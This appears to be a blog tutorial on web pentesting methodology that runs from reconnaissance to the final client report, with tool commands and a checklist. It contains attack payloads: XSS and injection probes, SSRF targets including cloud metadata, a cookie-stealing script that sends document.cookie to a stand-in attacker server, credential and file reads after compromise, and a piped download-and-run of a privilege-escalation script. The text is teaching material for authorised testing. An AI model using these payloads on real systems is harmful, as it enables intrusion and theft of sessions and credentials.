589 words
3 minutes
Web Pentesting Methodology: From 0 to a professional report
Phases of a Web Pentest
A professional pentest follows a clear structure. It’s not simply “launching tools” — it’s a methodical process.
1. Reconnaissance2. Scanning and Enumeration3. Vulnerability Identification4. Exploitation5. Post-Exploitation6. ReportingPhase 1: Reconnaissance
Passive reconnaissance (without touching the target)
# WHOISwhois target.com
# DNS recordsdig target.com ANYdig target.com MXdig target.com TXT
# SSL certificates (reveal subdomains)curl -s "https://crt.sh/?q=%.target.com&output=json" | \ jq -r '.[].name_value' | sort -u
# Google Dorkssite:target.com filetype:pdfsite:target.com inurl:adminsite:target.com "password" OR "passwd"
# Wayback Machinewaybackurls target.com | tee wayback.txtActive reconnaissance
# Subdomain discoverysubfinder -d target.com -o subs_subfinder.txtamass enum -d target.com -o subs_amass.txtcat subs_*.txt | sort -u > all_subs.txt
# Check which ones are alivehttpx -l all_subs.txt -title -status-code -o alive.txtPhase 2: Enumeration
# Technologieswhatweb https://target.comwappalyzer (browser extension)
# Directories and filesffuf -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt \ -u https://target.com/FUZZ \ -fc 404 \ -o dirs.json -of json
# GET parametersarjun -u https://target.com/search
# Extract URLs from JSgau --mc 200 target.com | tee all_urls.txtcat all_urls.txt | grep "\.js$" | sort -u > js_files.txtPhase 3: Common vulnerabilities
Injections
# SQL Injectionsqlmap -u "https://target.com/user?id=1" --dbs --batch --random-agent
# Command Injection (test manually); id| whoami`id`$(id)
# Template Injection (SSTI){{7*7}} # Jinja2, Twig${7*7} # Freemarker<%= 7*7 %> # ERBXSS
# Basic payloads<script>alert(1)</script><img src=x onerror=alert(1)>"><script>alert(document.cookie)</script>javascript:alert(1)
# Advanced XSS - cookie theft<script> fetch('https://your-server.com/steal?c='+document.cookie)</script>IDOR (Insecure Direct Object Reference)
# Change user IDs in requestsGET /api/user/profile/123 → change to /api/user/profile/124POST /delete-account {"user_id": 123} → change to 124
# Tool: Autorize (Burp Suite plugin)SSRF
# Test payloadshttp://127.0.0.1/adminhttp://169.254.169.254/latest/meta-data/ # AWS metadatahttp://localhost:8080http://[::1]/admin # IPv6 bypass
# Detect with Burp Collaborator or interactshpython3 -m interactsh-clientPhase 4: Exploitation
Document everything while you exploit. Screenshots, videos, exact commands.
# Capture traffic with Burp# 1. Configure the proxy in Burp (127.0.0.1:8080)# 2. Enable intercept# 3. Perform the vulnerable action# 4. Save the request
# Save important requestsburp → request → save item → exploits/vuln_name.reqPhase 5: Post-Exploitation
If you achieved RCE or access to the server:
# System informationid && whoamiuname -acat /etc/passwdenv
# Internal networkip addrnetstat -tulpncat /etc/hosts
# Privilege escalation — LinPEAScurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | shPhase 6: The Report
This is the most important phase for real clients. A bad report ruins a good pentest.
Executive report structure
1. Executive Summary - Objective of the pentest - Assessment period - Summarized critical findings - Priority recommendations
2. Methodology used
3. Detailed findings (per vulnerability): - Description - Severity (CVSS score) - Steps to reproduce - Evidence (screenshots) - Business impact - Remediation recommendation
4. ConclusionQuick CVSS calculator
Critical: 9.0 – 10.0 (Unauth RCE, SQLi with sensitive data)High: 7.0 – 8.9 (Auth bypass, mass IDOR, internal SSRF)Medium: 4.0 – 6.9 (Stored XSS, CSRF, Info disclosure)Low: 0.1 – 3.9 (Reflected XSS, Missing headers)Web pentesting checklist
[ ] Complete passive reconnaissance[ ] Subdomains enumerated[ ] Technologies identified[ ] Directories and endpoints mapped[ ] Authentication tested (brute force, bypass)[ ] All inputs tested for SQLi[ ] XSS in inputs and headers[ ] IDOR on all endpoints with IDs[ ] SSRF in URL/redirect fields[ ] Business logic analyzed[ ] APIs documented and tested[ ] Security headers verified[ ] Evidence documented[ ] Report writtenMethodology is the difference between a hacker and a professional pentester. Constant practice on HTB, TryHackMe and PortSwigger Academy is the way. 🔴
We’ll continue with specific techniques for each vulnerability in upcoming posts.
Web Pentesting Methodology: From 0 to a professional report
https://oguiii.xyz/en/posts/metodologia-pentesting-web/